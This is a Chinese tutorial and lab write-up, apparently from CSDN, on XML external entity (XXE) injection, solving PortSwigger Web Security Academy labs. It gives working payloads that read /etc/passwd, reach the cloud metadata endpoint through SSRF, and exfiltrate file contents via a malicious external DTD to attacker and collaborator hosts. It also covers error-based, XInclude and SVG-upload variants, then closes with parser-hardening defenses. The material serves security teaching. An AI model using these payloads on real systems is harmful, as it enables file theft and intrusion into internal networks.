xxe漏洞原理与利用

在这里插入图片描述

概念

XXE – XML external entity injection—XML 外部实体注入
XML 外部实体注入(又称 XXE)是一种网络安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互

在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF)攻击,从而升级 XXE 攻击,入侵底层服务器或其他后端基础设施。

漏洞产生原因

一些应用程序使用 XML 格式在浏览器和服务器之间传输数据。这样做的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞之所以出现,是因为 XML 规范包含各种潜在的危险功能,而标准解析器支持这些功能,即使应用程序通常不使用它们。

xml文件格式简述

什么是xml

XML 是 "可扩展标记语言 "的缩写。XML 是一种用于存储和传输数据的语言。与 HTML 一样,XML 使用树状的标记和数据结构。与 HTML 不同的是,XML 不使用预定义的标记,因此可以为标记赋予描述数据的名称。在网络历史的早期,XML 曾是一种流行的数据传输格式("AJAX "中的 "X "代表 “XML”)。但现在它的受欢迎程度已经下降,转而使用 JSON 格式

什么是xml 实体

XML 实体是在 XML 文档中表示数据项的一种方式,而不是使用数据本身。XML 语言的规范中内置了各种实体。例如,实体 < 和 > 表示字符 < 和 >。这些元字符用于表示 XML 标记,因此当它们出现在数据中时,通常必须使用它们的实体来表示。

什么是xml文档类型定义

XML 文档类型定义(DTD)包含可定义 XML 文档结构、可包含的数据值类型和其他项目的声明。DTD 在 XML 文档开头的可选 DOCTYPE 元素中声明。DTD 可以完全独立于文档本身(称为 “内部 DTD”),也可以从其他地方加载(称为 “外部 DTD”),还可以是两者的混合体。

XML 允许在 DTD 中定义自定义实体。例如
<! DOCTYPE foo [ <! ENTITY myentity "我的实体值" > ]> >

该定义意味着,在 XML 文档中使用实体引用 &myentity; 时,将使用定义的值进行替换: “我的实体值”

xml外部实体

XML 外部实体是一种自定义实体,其定义位于声明实体的 DTD 之外。

外部实体的声明使用 SYSTEM 关键字,并且必须指定一个加载实体值的 URL。例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" >]>

URL 可以使用 file:// 协议,因此可以从文件加载外部实体。例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

也可以使用其他的协议,主流web端编程语言支持的协议
image.png

其中java现在仅jdk1.7/1.6支持gopher协议
libxml 是 PHP 的 xml 支持

普通的xml注入

类似与xss,如图所示
image.png
但是利用面很窄

xxe漏洞

攻击类型

  1. 利用 XXE 检索文件,即定义一个包含文件内容的外部实体,并在应用程序的响应中返回。
    
  2. 利用 XXE 执行 SSRF 攻击,即根据指向后端系统的 URL 定义外部实体。
    
  3. 利用盲目 XXE 进行带外数据渗漏,将敏感数据从应用服务器传输到攻击者控制的系统。
    
  4. 利用盲目 XXE 通过错误信息检索数据,攻击者可触发包含敏感数据的解析错误信息。
    

利用xxe读取文件

要执行 XXE 注入攻击,从服务器文件系统中检索任意文件,需要通过两种方式修改提交的 XML:

  1. 引入(或编辑)定义包含文件路径的外部实体的 DOCTYPE 元素。
  2. 编辑应用程序响应中返回的 XML 中的数据值,以便使用定义的外部实体。

例如,假设一个购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

该应用程序对 XXE 攻击没有特别的防御措施,因此您可以提交以下 XXE payload,利用 XXE 漏洞检索 /etc/passwd 文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

此 XXE payload定义了一个外部实体&xxe;,其值是/etc/passwd文件的内容,并在 productId 值中使用了该实体。这将导致应用程序的响应包含该文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

对于真实环境中的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个都可能会在应用程序的响应中使用。要系统地测试 XXE 漏洞,通常需要单独测试 XML 中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中。

Lab: Exploiting XXE using external entities to retrieve files

首先浏览功能,在检查库存页面找到了通过xml传递数据的请求
image.png
添加payload,发包即可
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
分别在两个id添加&xxe;观察哪一个可以回显
image.png
image.png
实际上只有productid可以回显
实验结果如下
image.png

利用xxe进行ssrf攻击

除了检索敏感数据外,XXE 攻击的另一个主要影响是,它们可用于执行服务器端请求伪造(SSRF)。这是一种潜在的严重漏洞,可诱使服务器端应用程序向服务器可访问的任何 URL 发出 HTTP 请求。

要利用 XXE 漏洞执行 SSRF 攻击,需要使用要攻击的 URL 定义外部 XML 实体,并在数据值中使用已定义的实体。如果能在应用程序响应返回的数据值中使用已定义的实体,那么就能在应用程序响应中查看 URL 的响应,从而获得与后端系统的双向交互。否则,就只能执行盲 SSRF 攻击(仍可能造成严重后果)。

在下面的 XXE 示例中,外部实体将导致服务器向组织基础设施内的内部系统发出后端 HTTP 请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">

Lab: Exploiting XXE to perform SSRF attacks

漏洞点还是在刚才那个数据包
编辑payload
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">]>
image.png
可以看到返回了一个 invalid id : latest,说明该服务器路径下存在lates目录
那么就可以迭代查询了
image.png
image.pngimage.png
image.png
image.png
从而获取到了元数据

bind无回显 xxe

盲 XXE 漏洞是指应用程序易受 XXE 注入影响,但在其响应中不返回任何已定义外部实体的值。这意味着无法直接检索服务器端文件,因此盲 XXE 一般比常规 XXE 漏洞更难利用。

发现和利用盲 XXE 漏洞主要有两种方法:

  1. 你可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
    
  2. 触发 XML 解析错误,使错误信息包含敏感数据。
    

使用带外 (OAST) 技术检测盲目 XXE

您通常可以使用与 XXE SSRF 攻击相同的技术来检测盲区 XXE,但要触发您所控制系统的带外网络交互。例如,您可以定义一个外部实体如下:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,您就可以在 XML 的数据值中使用已定义的实体。
这种 XXE 攻击会导致服务器向指定 URL 发出后端 HTTP 请求。攻击者可以监控由此产生的 DNS 查询和 HTTP 请求,从而检测到 XXE 攻击是否成功。

Lab: Blind XXE with out-of-band interaction

url修改为collaborator的地址即可
image.png

有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些加固,使用常规实体的 XXE 攻击会被阻止。在这种情况下,你也许可以使用 XML 参数实体来代替。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 的其他地方引用。就目前而言,您只需了解两件事。首先,XML 参数实体的声明包括实体名称前的百分号字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,在引用参数实体时,要使用百分号字符,而不是通常的 “ampersand”:%myparameterentity;

这意味着,您可以通过 XML 参数实体,使用带外检测功能测试盲 XXE,如下所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

该 XXE 有效负载声明了一个名为 xxe 的 XML 参数实体,然后在 DTD 中使用了该实体。这将导致 DNS 查询和向攻击者域发出 HTTP 请求,验证攻击是否成功。

Lab: Blind XXE with out-of-band interaction via XML parameter entities

构造的payload如下
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://fi18kjn84mgojththeo7sd6ldcj37uvj.oastify.com"> %xxe; ]>
image.png
在collaborator查询即可
image.png

利用盲xxe带外数据

通过带外技术检测出盲区 XXE 漏洞固然很好,但实际上并不能证明漏洞是如何被利用的。攻击者真正想要实现的是外泄敏感数据。这可以通过盲 XXE 漏洞实现,但需要攻击者在自己控制的系统上托管恶意 DTD,然后在带内 XXE 有效负载中调用外部 DTD。

恶意 DTD文件外泄 /etc/passwd 文件内容的示例如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

该 DTD 执行以下步骤:

  1. 定义名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
    
  2. 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 exfiltrate 的 XML 参数实体的动态声明。向攻击者的网络服务器发出 HTTP 请求时,会对 exfiltrate 实体进行评估,该请求在 URL 查询字符串中包含 file 实体的值。
    
  3. 使用 eval 实体会导致执行 exfiltrate 实体的动态声明。
    
  4. 使用 exfiltrate 实体,通过请求指定的 URL 来评估其值。
    

然后,攻击者必须在自己控制的系统上托管恶意 DTD,通常是将其加载到自己的网络服务器上。例如,攻击者可以在以下 URL 上提供恶意 DTD:
http://web-attacker.com/malicious.dtd
最后,攻击者必须向有漏洞的应用程序提交以下 XXE 有效负载:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

此 XXE 有效负载声明了名为 xxe 的 XML 参数实体,然后在 DTD 中使用了该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并进行内联解释。然后执行恶意 DTD 中定义的步骤,并将 /etc/passwd 文件传输到攻击者的服务器。

对于某些文件内容,包括 /etc/passwd 文件中包含的换行符,这种技术可能不起作用。这是因为某些 XML 解析器会使用 API 获取外部实体定义中的 URL,该 API 会验证 URL 中允许出现的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,无法外泄包含换行符的数据,因此可以使用 /etc/hostname 等文件作为目标。

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

进入主页,点击go to exploit server
image.png
写入如下payload

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://73805b80pe1g4l2l269zd5rdy44vsngc.oastify.com/?x=%file;'>">
%eval;
%exfil;

其中&#x25;%的十六进制unicode编码
保存即可
image.png
然后记下exploit server的地址

https://exploit-0a9b001a0347bf6f86372f67018e003f.exploit-server.net/exploit

那么在存在xxe漏洞点的数据包中,就需要去访问这个exploit server的地址
payload如下
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9b001a0347bf6f86372f67018e003f.exploit-server.net/exploit"> %xxe;]>
image.png
在collaborator查询
注意前面的server的payload,passwd的内容是由参数x接收的
image.png
所有内容就是070d50835299
提交即可

通过错误信息检索利用

利用盲 XXE 的另一种方法是触发 XML 解析错误,错误消息中包含您希望检索的敏感数据。如果应用程序在其响应中返回错误信息,这种方法就会有效。
您可以使用恶意外部 DTD 触发包含 /etc/passwd 文件内容的 XML 解析错误信息,具体如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

该 DTD 执行以下步骤:

  1. 定义名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
    
  2. 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 error 的 XML 参数实体的动态声明。将通过加载一个名称包含 file 实体值的不存在文件来评估 error 实体。
    
  3. 使用 eval 实体会导致执行 error 实体的动态声明。
    
  4. 使用错误实体,通过尝试加载不存在的文件来评估其值,从而产生包含不存在文件名(即 /etc/passwd 文件的内容)的错误消息。
    

调用恶意外部 DTD 将导致如下错误信息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Lab: Exploiting blind XXE to retrieve data via error messages

写入如下payload
image.png

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

在漏洞点的payload如下

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ad3008304a826068295246801fc00a6.exploit-server.net/exploit"> %xxe;]>

发包即可
image.png

查找现有dtd文件进行利用

由于 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此关键要求是找到合适的文件。这其实很简单。由于应用程序会返回 XML 解析器抛出的任何错误信息,因此只需尝试从内部 DTD 中加载本地 DTD 文件,就能轻松枚举出这些文件。

例如,使用 GNOME 桌面环境的 Linux 系统通常在 /usr/share/yelp/dtd/docbookx.dtd 下有一个 DTD 文件。您可以通过提交以下 XXE 有效载荷来测试该文件是否存在,如果该文件丢失,则会导致错误:

<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>

在测试了常用 DTD 文件列表以找到存在的文件后,您需要获取该文件的副本并查看它,以找到可以重新定义的实体。由于许多包含 DTD 文件的常用系统都是开源的,因此通常可以通过互联网搜索快速获得文件副本。

Lab: Exploiting XXE to retrieve data by repurposing a local DTD

提示

使用 GNOME 桌面环境的系统通常会在 /usr/share/yelp/dtd/docbookx.dtd 中设置一个 DTD,其中包含一个名为 ISOamso 的实体。

现在的思路是,通过file读取dtd文件,然后在实体ISOamso中写入payload
先读取dtd文件,查看文件是否存在

<!DOCTYPE foo [<! ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>

返回文件没有报错,所以该dtd文件是存在的
已经知道了文件存在,且具有ISOamso实体,那么可以根据这个实体来构造payload

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

这里使用了十六进制unicode编码进行混淆,还原后如下

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM '%file;'>">
%eval;
%error;
'>
%local_dtd;
]>

这里首先读取本地dtd文件,然后重写外部实体ISOamso,内容就是前面的盲xxe payload

image.png

使用还原后的payload访问,会过滤某些字符
image.png

并且由于这里的passwd文件是多行文件,所以通过报错返回信息

查找隐藏的 XXE 注入攻击面

XXE 注入漏洞的攻击面在很多情况下是显而易见的,因为应用程序的正常 HTTP 流量包括包含 XML 格式数据的请求。在其他情况下,攻击面则不那么明显。不过,只要找对地方,就能在不包含任何 XML 的请求中发现 XXE 攻击面。

XInclude 攻击

某些应用程序接收客户端提交的数据,将其嵌入服务器端的 XML 文档,然后解析该文档。例如,客户端提交的数据被放入后端 SOAP 请求,然后由后端 SOAP 服务进行处理。

在这种情况下,您无法实施经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改 DOCTYPE 元素。不过,你可以使用 XInclude 来代替。XInclude 是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以将 XInclude 攻击放在 XML 文档中的任何数据值内,因此在您只能控制放在服务器端 XML 文档中的单个数据项的情况下,也可以执行攻击。

要执行 XInclude 攻击,需要引用 XInclude 命名空间,并提供要包含的文件的路径。例如

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Lab: Exploiting XInclude to retrieve file

默认情况下,XInclude 会尝试将包含的文档解析为 XML。由于 /etc/passwd 不是有效的 XML,所以需要在 XInclude 指令中添加一个额外的属性来改变这种行为 — parse="text"

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在productid写入payload即可
image.png

上传文件进行xxe

通过上传文件进行 XXE 攻击

有些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收的是 PNG 或 JPEG 等格式,所使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意 SVG 图像,从而达到 XXE 漏洞的隐藏攻击面。
payload如下
获取地址:https://gist.github.com/jakekarnes42/b879f913fd3ae071c11199b9bd7ba3a7?short_path=f3432ae
注意空格,手动添加

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

建议直接复制官方给的payload都是一样的

Lab: Exploiting XXE via image file upload

首先找到上传点
https://0a65000d03da708880148adc004c0088.web-security-academy.net/post?postId=1
image.png
本地创建svg文件,写入payload
image.png
然后上传
image.png
跟随重定向即可
然后回到文章评论页,要获取的hostname就在svg图片中
上传的功能点说明了上传的文件当作头像
image.png
所以内容在头像中
image.png
image.png

94fb95307547

修改Content-Type进行xxe

大多数 POST 请求使用 HTML 表单生成的默认内容类型,如 application/x-www-form-urlencoded。有些网站希望收到这种格式的请求,但也会容忍其他内容类型,包括 XML。

例如,如果一个普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

那么你可以提交以下请求,得到同样的结果:

Then you might be able submit the following request, with the same result:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序允许在消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式,就能达到隐藏的 XXE 攻击面。

查找和测试xxe

绝大多数xxe可以使用bp自带的scaner扫描

手动测试

  1. 测试文件检索,方法是根据众所周知的操作系统文件定义一个外部实体,并在应用程序响应返回的数据中使用该实体。
  2. 测试盲 XXE 漏洞,方法是根据您所控制系统的 URL 定义外部实体,并监控与该系统的交互。Burp Collaborator 是实现这一目的的完美工具。
  3. 使用 XInclude 攻击尝试检索众所周知的操作系统文件,从而测试服务器端 XML 文档中是否存在包含用户提供的非 XML 数据的漏洞。

请记住,XML 只是一种数据传输格式。请确保您还测试了任何基于 XML 的功能是否存在其他漏洞,如 XSS 和 SQL 注入。您可能需要使用 XML 转义序列对有效载荷进行编码,以避免破坏语法,但您也可以利用这一点对攻击进行混淆,以绕过薄弱的防御。

防御xxe

几乎所有 XXE 漏洞的产生都是因为应用程序的 XML 解析库支持潜在危险的 XML 功能,而应用程序并不需要或不打算使用这些功能。防止 XXE 攻击最简单有效的方法就是禁用这些功能。

一般来说,禁用外部实体的解析和禁用对 XInclude 的支持就足够了。这通常可以通过配置选项或以编程方式覆盖默认行为来实现。有关如何禁用不必要功能的详细信息,请查阅 XML 解析库或 API 的文档。

手动过滤黑名单

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

禁用外部实体

php

libxml_disable_entity_loader(true);

java

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 30
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值